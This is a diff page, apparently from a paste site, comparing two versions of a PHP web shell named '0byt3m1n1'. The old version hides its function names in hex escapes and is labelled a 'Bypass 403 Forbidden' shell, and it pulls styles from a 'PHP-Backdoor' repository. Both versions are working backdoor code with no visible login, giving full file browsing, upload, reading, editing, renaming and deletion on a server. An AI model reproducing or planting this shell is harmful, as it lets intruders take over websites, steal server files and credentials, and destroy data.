SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | - | |
| 2 | + | |
| 3 | - | /* |
| 3 | + | |
| 4 | - | 0 b y t 3 m 1 n 1 - 2.2 |
| 4 | + | if(get_magic_quotes_gpc()){foreach($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}}
|
| 5 | - | Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell |
| 5 | + | ?> |
| 6 | - | */ |
| 6 | + | <!DOCTYPE html><html><head><link href="" rel="stylesheet" type="text/css"><title>0byt3m1n1</title> |
| 7 | - | |
| 7 | + | <link href='https://fonts.googleapis.com/css?family=VT323' rel='stylesheet'> |
| 8 | <style type="text/css">body{background: #263238;color:#eceff1;font-family:'Courier';margin:0;font-size: 14px;}h1{font-family:'VT323';font-weight:normal;font-size:60px;margin:0;}h1:hover{color:#ffee58;}select{background:#ef6c00;color:#eceff1;}a{color:#ef6c00;text-decoration:none;font-family:'Courier'}textarea{width:900px;height:250px;background:transparent;border:1px dashed #ef6c00;color:#ef6c00;padding:2px;}tr.first{border-bottom:1px dashed #ef6c00;}tr:hover{background: #7f2e00;}th{background: #ef6c00;padding:5px;}</style>
| |
| 9 | </head><body> <?php echo'<div style="color:#ef6c00;margin-top:0;"><h1><center>0byt3m1n1</center></h1></div>'; | |
| 10 | - | error_log(0); |
| 10 | + | if(isset($_GET['path'])) {$path = $_GET['path'];chdir($_GET['path']);} else {$path = getcwd();}
|
| 11 | - | |
| 11 | + | $path = str_replace("\\","/",$path);$paths = explode("/", $path);
|
| 12 | - | $sname = "\x30\x62\x79\x74\x33\x6d\x31\x6e\x31" . "-V2"; |
| 12 | + | echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>';echo "<font style='font-size:13px;'>Path: "; |
| 13 | - | $__gcdir = "\x67" . "\x65\x74\x63\x77\x64"; |
| 13 | + | foreach($paths as $id => $pat) {echo "<a style='font-size:13px;' href='?path=";
|
| 14 | - | $__fgetcon7s = "\x66\x69\x6c\x65" . "\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; |
| 14 | + | for($i = 0; $i <= $id; $i++) {echo $paths[$i];
|
| 15 | - | $__scdir = "s" . "\x63\x61\x6e\x64\x69" . "r"; |
| 15 | + | if($i != $id) {echo "/";} }echo "'>$pat</a>/";}
|
| 16 | - | $rm__dir = "\x72\x6d\x64" . "ir"; |
| 16 | + | echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/> |
| 17 | - | $un__link = "\x75\x6e" . "\x6c\x69\x6e\x6b"; |
| 17 | + | <input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">'; |
| 18 | - | |
| 18 | + | if(isset($_FILES['file'])){
|
| 19 | - | if (get_magic_quotes_gpc()) {
|
| 19 | + | if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
|
| 20 | - | foreach ($_POST as $key => $value) {
|
| 20 | + | echo '<center><font color="#00ff00">Upload OK!.</font></center><br/>';} |
| 21 | - | $_POST[$key] = stripslashes($value); |
| 21 | + | else{echo '<center><font color="red">Upload Failed!.</font></center><br/>';}}
|
| 22 | - | } |
| 22 | + | echo '</td></tr><tr><td></table>'; |
| 23 | - | } |
| 23 | + | if(isset($_GET['filesrc'])){
|
| 24 | - | |
| 24 | + | echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';echo "".basename($_GET['filesrc']);"";echo '</tr></td></table><br />';echo("<center><textarea readonly=''>".htmlspecialchars(file_get_contents($_GET['filesrc']))."</textarea></center>");}
|
| 25 | - | echo '<!DOCTYPE html><html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>'; |
| 25 | + | elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
|
| 26 | - | |
| 26 | + | echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; |
| 27 | - | echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>'; |
| 27 | + | if($_POST['opt'] == 'rename'){
|
| 28 | - | if (isset($_GET['path'])) {
|
| 28 | + | if(isset($_POST['newname'])){
|
| 29 | - | $path = $_GET['path']; |
| 29 | + | if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
|
| 30 | - | chdir($_GET['path']); |
| 30 | + | echo '<center><font color="#00ff00">Rename OK!</font></center><br />'; |
| 31 | - | } else {
|
| 31 | + | }else{
|
| 32 | - | $path = $__gcdir(); |
| 32 | + | echo '<center><font color="red">Rename Failed!</font></center><br />'; |
| 33 | - | } |
| 33 | + | } $_POST['name'] = $_POST['newname'];} |
| 34 | - | $path = str_replace("\\", "/", $path);
|
| 34 | + | echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> |
| 35 | - | $paths = explode("/", $path);
|
| 35 | + | <input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>'; |
| 36 | - | echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>'; |
| 36 | + | }elseif($_POST['opt'] == 'edit'){
|
| 37 | - | echo "<font style='font-size:13px;'>Path: "; |
| 37 | + | if(isset($_POST['src'])){
|
| 38 | - | foreach ($paths as $id => $pat) {
|
| 38 | + | $fp = fopen($_POST['path'],'w');if(fwrite($fp,$_POST['src'])){echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
|
| 39 | - | echo "<a style='font-size:13px;' href='?path="; |
| 39 | + | }else{echo '<center><font color="red">Edit File Failed!.</font></center><br />';}fclose($fp);}
|
| 40 | - | for ($i = 0; $i <= $id; $i++) {
|
| 40 | + | echo '<form method="POST"><textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /><input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';}echo '</center>';}else{echo '</table><br /><center>';
|
| 41 | - | echo $paths[$i]; |
| 41 | + | if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
|
| 42 | - | if ($i != $id) {
|
| 42 | + | if($_POST['type'] == 'dir'){
|
| 43 | - | echo "/"; |
| 43 | + | if(rmdir($_POST['path'])){
|
| 44 | - | } |
| 44 | + | echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />'; |
| 45 | - | } |
| 45 | + | }else{echo '<center><font color="red">Delete Dir Failed!</font></center><br />';}
|
| 46 | - | echo "'>$pat</a>/"; |
| 46 | + | }elseif($_POST['type'] == 'file'){
|
| 47 | - | } |
| 47 | + | if(unlink($_POST['path'])){echo '<font color="#00ff00">Delete File Done.</font><br />';}else{
|
| 48 | - | echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">'; |
| 48 | + | echo '<font color="red">Delete File Error.</font><br />';}}}echo '</center>'; |
| 49 | - | if (isset($_FILES['file'])) {
|
| 49 | + | $scandir = scandir($path); |
| 50 | - | if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
|
| 50 | + | echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> |
| 51 | - | echo '<center><font color="#00ff00">Upload OK!</font></center><br/>'; |
| 51 | + | <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> |
| 52 | - | } else {
|
| 52 | + | <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>'; |
| 53 | - | echo '<center><font color="red">Upload FAILED!</font></center><br/>'; |
| 53 | + | foreach($scandir as $dir){
|
| 54 | - | } |
| 54 | + | if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
|
| 55 | - | } |
| 55 | + | echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>"; |
| 56 | - | echo '</td></tr><tr><td></table><div class="table-div"></div><input id="image" type="hidden">'; |
| 56 | + | if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
|
| 57 | - | echo ''; |
| 57 | + | elseif(!is_readable("$path/$dir")) echo '<font color="red">';
|
| 58 | - | if (isset($_GET['filesrc'])) {
|
| 58 | + | echo perms("$path/$dir");
|
| 59 | - | echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: '; |
| 59 | + | if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
|
| 60 | - | echo "" . basename($_GET['filesrc']); |
| 60 | + | echo"</center></td><td><center>".date("d-M-Y H:i", filemtime("$path/$dir"))."";echo "</center></td>
|
| 61 | - | ""; |
| 61 | + | <td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";} |
| 62 | - | echo '</tr></td></table><br />'; |
| 62 | + | foreach($scandir as $file){if(!is_file("$path/$file")) continue;$size = filesize("$path/$file")/1024;
|
| 63 | - | echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>");
|
| 63 | + | $size = round($size,3);if($size >= 1024){$size = round($size/1024,2).' MB';}else{$size = $size.' KB';}
|
| 64 | - | } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
|
| 64 | + | echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>".$size."</center></td><td><center>"; |
| 65 | - | echo '</table><br /><center>' . $_POST['path'] . '<br /><br />'; |
| 65 | + | if(is_writable("$path/$file")) echo '<font color="#00ff00">';
|
| 66 | - | if ($_POST['opt'] == 'rename') {
|
| 66 | + | elseif(!is_readable("$path/$file")) echo '<font color="red">';
|
| 67 | - | if (isset($_POST['newname'])) {
|
| 67 | + | echo perms("$path/$file");
|
| 68 | - | if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
|
| 68 | + | if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
|
| 69 | - | echo '<center><font color="#00ff00">Rename OK!</font></center><br />'; |
| 69 | + | echo"</center></td><td><center>".date("d-M-Y H:i",filemtime("$path/$file"))."";
|
| 70 | - | } else {
|
| 70 | + | echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";} |
| 71 | - | echo '<center><font color="red">Rename Failed!</font></center><br />'; |
| 71 | + | echo '</table></div>';}echo '</body></html>'; |
| 72 | - | } |
| 72 | + | function perms($file){$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';} $info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-');$info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;}
|
| 73 | - | $_POST['name'] = $_POST['newname']; |
| 73 | + | echo'<br><center>© 2017 - <a href="http://zerobyte.id/">ZeroByte.ID</a>.</center><br>';?> |